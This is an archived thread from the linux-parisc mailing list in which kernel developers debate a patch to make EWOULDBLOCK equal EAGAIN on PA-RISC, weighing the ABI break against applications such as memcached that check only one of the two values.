Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5608
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5608>

On 1/16/2014 3:02 PM, Carlos O'Donell wrote:
> On Thu, Jan 16, 2014 at 11:17 AM, Guy Martin <gmsoft@tuxicoman.be> wrote:
>> On Linux, only parisc uses a different value for EWOULDBLOCK which
>> causes a lot of troubles for applications not checking for both values.
>> Since the hpux compat is long dead, make EWOULDBLOCK behave the same as
>> all other architectures.
>>
>> Signed-off-by: Guy Martin  <gmsoft@tuxicoman.be>
>> ---
>>   arch/parisc/include/uapi/asm/errno.h | 2 +-
>>   1 file changed, 1 insertion(+), 1 deletion(-)
>>
>> diff --git a/arch/parisc/include/uapi/asm/errno.h
>> b/arch/parisc/include/uapi/asm/errno.h
>> index f3a8aa5..c0ae625 100644
>> --- a/arch/parisc/include/uapi/asm/errno.h
>> +++ b/arch/parisc/include/uapi/asm/errno.h
>> @@ -106,7 +106,7 @@
>>
>>   #define        EALREADY        244     /* Operation already in progress */
>>   #define        EINPROGRESS     245     /* Operation now in progress */
>> -#define        EWOULDBLOCK     246     /* Operation would block (Linux
>> returns EAGAIN) */
>> +#define        EWOULDBLOCK     EAGAIN  /* Operation would block (Not HPUX
>> compliant) */
>>   #define        ENOTEMPTY       247     /* Directory not empty */
>>   #define        ENAMETOOLONG    248     /* File name too long */
>>   #define        ELOOP           249     /* Too many symbolic links
>> encountered */
> This is an ABI break.
>
> You can't do this without rebuilding userspace.
>
> You need debian an gentoo onboard to do this ABI break.
This would take about a month on Debian, so I'm against.  Various bits 
of kernel code traditionally
return EWOULDBLOCK, so any application code that just checks EWOULDBLOCK 
would fail.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Make EWOULDBLOCK be equal to EAGAIN on parisc.
Date: Thu, 16 Jan 2014 16:05:50 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <CAE2sS1hO=do8VTwn-_mPwZge_AdunrOfoC0VW4RnezaDfZYxXQ@mail.gmail.com>
References: <7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be>
	<CAE2sS1gmD21qT=UPJEt9VfAnE=e-k=qwkQM0nUO0viMaJSm3ng@mail.gmail.com>
	<BLU0-SMTP89CC166E31998D28320EA697B90@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1389906347 7970 80.91.229.3 (16 Jan 2014 21:05:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Jan 2014 21:05:47 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 16 22:05:53 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W3u8O-0004KL-Fa
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 Jan 2014 22:05:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750784AbaAPVFv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Jan 2014 16:05:51 -0500
Original-Received: from mail-oa0-f45.google.com ([209.85.219.45]:34955 "EHLO
	mail-oa0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750754AbaAPVFv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Jan 2014 16:05:51 -0500
Original-Received: by mail-oa0-f45.google.com with SMTP id j17so3629635oag.32
        for <linux-parisc@vger.kernel.org>; Thu, 16 Jan 2014 13:05:50 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=z8e/j4mcPSG/OCzUiz2NR2xvuJFAPK2qOOWdGN9V0sw=;
        b=T0IOD5LxHEhzhpnyMhTk+b0z4crMHxDpyddA3junwqaqxPzCGDzy+BZzKj6W44i36Q
         bwXC16i9e/FYeJxkhmTFxXXnjIHUFTKqnSSexrA9eLRANVVY+0JSp7f2NX9d89K5JZKF
         JxV70/YOy++NXjTGunGqxYTh1PQEku/RgIlDcsdXw1wrCv+9n9v+IPQt0yYx4GNiVfQY
         0oRs2rEPl54VvkuxC26VY0ed6vd51d9xQf6a4fj5mAw5ZqcqF0IIoXiD1d+k1qK3y7sm
         +s0Ohgcf9vOK6Ltx4+IvL/wpWjlSTHNbnOJWBPmald0uxTR4sC7V76OskYoXes+Pso2h
         o/Yg==
X-Gm-Message-State: ALoCoQkzdfW/SW+KVCUts6BfpTcYv416ZoTk7BkQYrlQVjLTAhH+x8tNEktC+stHiaPQLlmz/oQb
X-Received: by 10.60.99.8 with SMTP id em8mr9099287oeb.8.1389906350701; Thu,
 16 Jan 2014 13:05:50 -0800 (PST)
Original-Received: by 10.76.158.138 with HTTP; Thu, 16 Jan 2014 13:05:50 -0800 (PST)
X-Originating-IP: [204.11.82.140]
In-Reply-To: <BLU0-SMTP89CC166E31998D28320EA697B90@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5609
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5609>

On Thu, Jan 16, 2014 at 3:49 PM, John David Anglin <dave.anglin@bell.net> wrote:
>> This is an ABI break.
>>
>> You can't do this without rebuilding userspace.
>>
>> You need debian an gentoo onboard to do this ABI break.
>
> This would take about a month on Debian, so I'm against.  Various bits of kernel code traditionally
> return EWOULDBLOCK, so any application code that just checks EWOULDBLOCK would fail.

That's not true if, like all other targets, EWOULDBLOCK == AGAIN. It's
only true on hppa, and that's the problem.

The kernel is completely inconsistent about returning EWOULDBLOCK or
EAGAIN, and the standards do dictate one or the other so the kernel
and glibc are correct to use one or the other to match the standard.

However, user applications are equally sloppy about checking the right value.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Make EWOULDBLOCK be equal to EAGAIN on parisc.
Date: Thu, 16 Jan 2014 22:15:33 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <52D84BF5.3010001@gmx.de>
References: <7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be>	<CAE2sS1gmD21qT=UPJEt9VfAnE=e-k=qwkQM0nUO0viMaJSm3ng@mail.gmail.com>	<BLU0-SMTP89CC166E31998D28320EA697B90@phx.gbl> <CAE2sS1hO=do8VTwn-_mPwZge_AdunrOfoC0VW4RnezaDfZYxXQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1389906950 16336 80.91.229.3 (16 Jan 2014 21:15:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Jan 2014 21:15:50 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 16 22:15:56 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W3uI3-0003EI-Bm
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 Jan 2014 22:15:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751071AbaAPVPk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Jan 2014 16:15:40 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:61039 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750754AbaAPVPg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Jan 2014 16:15:36 -0500
Original-Received: from [192.168.178.60] ([84.173.29.162]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MCxfb-1WDYv70wc7-009jLO for
 <linux-parisc@vger.kernel.org>; Thu, 16 Jan 2014 22:15:34 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <CAE2sS1hO=do8VTwn-_mPwZge_AdunrOfoC0VW4RnezaDfZYxXQ@mail.gmail.com>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:LVhiCtKqWn2HBJxUN5J00ECdd+jM8mwEa9R3bffhSMsQM0AMyAm
 PhEDgza5vbGZO/yWFBBlEKu6PZwGZPh9bT8qu/D+RyHVDXnc7oJgB4gSitw55RJ6gUfKSfO
 OzV3o58Fu1/hd49YYNCU+1sp3rL7ZrmiS/hX8K9+AB/3tJoUpD4feAlI9/0Q2+/mvtjn8yW
 VCNN1sPvL/OFwyYX25yIg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5610
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5610>

On 01/16/2014 10:05 PM, Carlos O'Donell wrote:
> On Thu, Jan 16, 2014 at 3:49 PM, John David Anglin <dave.anglin@bell.net> wrote:
>>> This is an ABI break.
>>>
>>> You can't do this without rebuilding userspace.
>>>
>>> You need debian an gentoo onboard to do this ABI break.
>>
>> This would take about a month on Debian, so I'm against.  Various bits of kernel code traditionally
>> return EWOULDBLOCK, so any application code that just checks EWOULDBLOCK would fail.
> 
> That's not true if, like all other targets, EWOULDBLOCK == AGAIN. It's
> only true on hppa, and that's the problem.
> 
> The kernel is completely inconsistent about returning EWOULDBLOCK or
> EAGAIN, and the standards do dictate one or the other so the kernel
> and glibc are correct to use one or the other to match the standard.
> 
> However, user applications are equally sloppy about checking the right value.

Guy, do you have actual programs which are currently broken and which don't check for both?
My feeling is, that most programs were fixed, but I might be wrong...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Make EWOULDBLOCK be equal to EAGAIN on parisc.
Date: Thu, 16 Jan 2014 17:43:23 -0500
Organization: wh0rd.org
Lines: 66
Approved: news@gmane.org
Message-ID: <201401161743.25096.vapier@gentoo.org>
References: <7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be> <CAE2sS1hO=do8VTwn-_mPwZge_AdunrOfoC0VW4RnezaDfZYxXQ@mail.gmail.com> <52D84BF5.3010001@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart10961948.Sq1CKDAdGm";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1389912205 14221 80.91.229.3 (16 Jan 2014 22:43:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 16 Jan 2014 22:43:25 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
	"Carlos O'Donell" <carlos@systemhalted.org>,
	John David Anglin <dave.anglin@bell.net>,
	"linux-parisc" <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 16 23:43:32 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W3ves-0003vg-Mu
	for glpp-linux-parisc@plane.gmane.org; Thu, 16 Jan 2014 23:43:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751502AbaAPWnY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 16 Jan 2014 17:43:24 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:49091 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750775AbaAPWnV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 16 Jan 2014 17:43:21 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 47DA433F7CF;
	Thu, 16 Jan 2014 22:43:21 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.12.1; KDE/4.6.5; x86_64; ; )
In-Reply-To: <52D84BF5.3010001@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5611
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5611>

--nextPart10961948.Sq1CKDAdGm
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Thursday 16 January 2014 16:15:33 Helge Deller wrote:
> On 01/16/2014 10:05 PM, Carlos O'Donell wrote:
> > On Thu, Jan 16, 2014 at 3:49 PM, John David Anglin wrote:
> >>> This is an ABI break.
> >>>=20
> >>> You can't do this without rebuilding userspace.
> >>>=20
> >>> You need debian an gentoo onboard to do this ABI break.
> >>=20
> >> This would take about a month on Debian, so I'm against.  Various bits
> >> of kernel code traditionally return EWOULDBLOCK, so any application
> >> code that just checks EWOULDBLOCK would fail.
> >=20
> > That's not true if, like all other targets, EWOULDBLOCK =3D=3D AGAIN. I=
t's
> > only true on hppa, and that's the problem.
> >=20
> > The kernel is completely inconsistent about returning EWOULDBLOCK or
> > EAGAIN, and the standards do dictate one or the other so the kernel
> > and glibc are correct to use one or the other to match the standard.
> >=20
> > However, user applications are equally sloppy about checking the right
> > value.
>=20
> Guy, do you have actual programs which are currently broken and which don=
't
> check for both? My feeling is, that most programs were fixed, but I might
> be wrong...

my guess is memcached:
https://bugs.gentoo.org/show_bug.cgi?id=3D498262
=2Dmike

--nextPart10961948.Sq1CKDAdGm
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJS2GCNAAoJEEFjO5/oN/WB0icQALCzNyS3HJY1oWTLY6dsFjuU
4lG63Ur8FyMTrHPQILMdjAoSfR0Xi+DNRUqqeQmJ2aR00OZkrfLJAOkIprq0EPnb
TntAslyKuluUuqsDrRRxG4MRtquAg63erc93V0Eoe4b1q8VoyN6Z/t1L3AYH2dz+
/4LyMpgSaWPSMdniv/DBNC1TNEq+7/PEHBHpH83VivjLWXv8DMw3Z3HQPj8uhRWO
+RoUk/P8DXRBDB4c4LUZwqKMC0evW/DHE1OKfp0b6i/qg7e+GWHSFtm+mzg23G6V
J22xCu3JCMYpBY6lkcEPxL88cJIwWdj2fR2mrqLqsAdlPnUWJHoTj4MrA8x9shOr
HkNxYHuYXQM7Ohn9J/0LpwjXdlB+SXb4CisrbJqk9mBMNH4diP4gif99Y4KwLLyi
EGUyVH5ODGtqqssh64TPIEk+Bj8QN8i5PltHtS7STtskhbBQJjf3DzwW1h71eweO
6ZKuhFPrMb9X/6UKwbcSFQyG6K5w35h/kAHmuHW4XLwCxrTfURjpk67wj4DurBZZ
zu7HYwRSCGr98N8OOQcNBZPmaAbuopi29vHKgIGBXc0lyd86F9P6QzB33am0JbJa
xbx5RS83LnIAnc7vYV7l0KRqKK9IeM50Yi2/TjHZdEM/F6CrYe8/fOCY0yfKH3CV
4HGN0BfVcNkTKq3G+TNn
=B4wo
-----END PGP SIGNATURE-----

--nextPart10961948.Sq1CKDAdGm--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Make EWOULDBLOCK be equal to EAGAIN on parisc.
Date: Fri, 17 Jan 2014 09:55:25 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <faa430fa75815f8c37dd2ec4ccd4a863@tuxicoman.be>
References: "\"<7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be>"
 <CAE2sS1gmD21qT=UPJEt9VfAnE=e-k=qwkQM0nUO0viMaJSm3ng@mail.gmail.com>"
 <BLU0-SMTP89CC166E31998D28320EA697B90@phx.gbl>
 <CAE2sS1hO=do8VTwn-_mPwZge_AdunrOfoC0VW4RnezaDfZYxXQ@mail.gmail.com>
 <52D84BF5.3010001@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1389948947 26391 80.91.229.3 (17 Jan 2014 08:55:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Jan 2014 08:55:47 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 17 09:55:49 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W45DN-0002Gv-U4
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 Jan 2014 09:55:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751868AbaAQIzp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 Jan 2014 03:55:45 -0500
Original-Received: from venus.vo.lu ([80.90.45.96]:55947 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751395AbaAQIzo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 Jan 2014 03:55:44 -0500
Original-Received: from ibiza.lux.tuxicoman.be (vodsl-8217.vo.lu [85.93.199.25]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Fri, 17 Jan 2014 09:55:22 +0100
Original-Received: from cartman.lux.tuxicoman.be ([172.18.0.2] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1W45D3-0008Qu-PS; Fri, 17 Jan 2014 09:55:25 +0100
In-Reply-To: <52D84BF5.3010001@gmx.de>
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5612
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5612>

On 2014-01-16 22:15, Helge Deller wrote:
> On 01/16/2014 10:05 PM, Carlos O'Donell wrote:
>> On Thu, Jan 16, 2014 at 3:49 PM, John David Anglin 
>> <dave.anglin@bell.net> wrote:
>>>> This is an ABI break.
>>>> 
>>>> You can't do this without rebuilding userspace.
>>>> 
>>>> You need debian an gentoo onboard to do this ABI break.
>>> 
>>> This would take about a month on Debian, so I'm against.  Various 
>>> bits of kernel code traditionally
>>> return EWOULDBLOCK, so any application code that just checks 
>>> EWOULDBLOCK would fail.
>> 
>> That's not true if, like all other targets, EWOULDBLOCK == AGAIN. It's
>> only true on hppa, and that's the problem.
>> 
>> The kernel is completely inconsistent about returning EWOULDBLOCK or
>> EAGAIN, and the standards do dictate one or the other so the kernel
>> and glibc are correct to use one or the other to match the standard.
>> 
>> However, user applications are equally sloppy about checking the right 
>> value.
> 
> Guy, do you have actual programs which are currently broken and which
> don't check for both?
> My feeling is, that most programs were fixed, but I might be wrong...

As Mike pointed out, memcached had a test which failed only on hppa.
Fixing the test is easy but that lead me to check the code of 
libmemcache,
client counterpart of memcached. The same problem was there too. Only
EAGAIN was being checked.

I agree that this change will break the ABI. However it will only affect
applications checking solely for EWOULDBLOCK and not EAGAIN. I believe 
that
on linux, most if not all applications check for EAGAIN and few check 
for
EWOULDBLOCK as well.

The problem currently is that finding out which applications are not 
checking
for EWOULDBLOCK requires analyzing the code. Most of the time, failure 
to
correctly check for EWOULDBLOCK will be quite stealth depending on how 
the
application handles it.

So despite the fact that this will break the ABI, the breakage should be 
minimal
if non existent while it will fix a lot of hard to find and identify 
issues.

   Guy


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Make EWOULDBLOCK be equal to EAGAIN on parisc.
Date: Fri, 17 Jan 2014 09:01:31 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <BLU0-SMTP49AD2B087335E0EF03F54197B80@phx.gbl>
References: "\"<7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be>" <CAE2sS1gmD21qT=UPJEt9VfAnE=e-k=qwkQM0nUO0viMaJSm3ng@mail.gmail.com>" <BLU0-SMTP89CC166E31998D28320EA697B90@phx.gbl> <CAE2sS1hO=do8VTwn-_mPwZge_AdunrOfoC0VW4RnezaDfZYxXQ@mail.gmail.com> <52D84BF5.3010001@gmx.de> <faa430fa75815f8c37dd2ec4ccd4a863@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1389967327 16653 80.91.229.3 (17 Jan 2014 14:02:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Jan 2014 14:02:07 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 17 15:02:13 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W49zu-0002pS-TY
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 Jan 2014 15:02:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752121AbaAQOCK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 Jan 2014 09:02:10 -0500
Original-Received: from [65.55.111.168] ([65.55.111.168]:37480 "EHLO
	blu0-omc4-s29.blu0.hotmail.com" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1750971AbaAQOCJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 Jan 2014 09:02:09 -0500
Original-Received: from BLU0-SMTP49 ([65.55.111.136]) by blu0-omc4-s29.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 17 Jan 2014 06:01:49 -0800
X-TMN: [D3I8HoKZxihkvsGlgc3XoBE3+EsdLs4V]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.170.59]) by BLU0-SMTP49.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Fri, 17 Jan 2014 06:01:47 -0800
In-Reply-To: <faa430fa75815f8c37dd2ec4ccd4a863@tuxicoman.be>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 17 Jan 2014 14:01:47.0785 (UTC) FILETIME=[A98B1F90:01CF138C]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5613
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5613>

On 17-Jan-14, at 3:55 AM, Guy Martin wrote:

> So despite the fact that this will break the ABI, the breakage  
> should be minimal
> if non existent while it will fix a lot of hard to find and identify  
> issues.

Have you tested the change?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Make EWOULDBLOCK be equal to EAGAIN on parisc.
Date: Fri, 17 Jan 2014 09:08:08 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <CAE2sS1hdPiLejCRKSJkCGb62WaeqK3uGgXU7Yjy_de9NHyaS3Q@mail.gmail.com>
References: <7b86ec9f26dd9a18e7fae7a39e6a3382@tuxicoman.be>
	<CAE2sS1gmD21qT=UPJEt9VfAnE=e-k=qwkQM0nUO0viMaJSm3ng@mail.gmail.com>
	<BLU0-SMTP89CC166E31998D28320EA697B90@phx.gbl>
	<CAE2sS1hO=do8VTwn-_mPwZge_AdunrOfoC0VW4RnezaDfZYxXQ@mail.gmail.com>
	<52D84BF5.3010001@gmx.de>
	<faa430fa75815f8c37dd2ec4ccd4a863@tuxicoman.be>
	<BLU0-SMTP49AD2B087335E0EF03F54197B80@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1389967686 20968 80.91.229.3 (17 Jan 2014 14:08:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Jan 2014 14:08:06 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>, Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 17 15:08:11 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1W4A5i-0001Pt-SW
	for glpp-linux-parisc@plane.gmane.org; Fri, 17 Jan 2014 15:08:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752251AbaAQOIK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
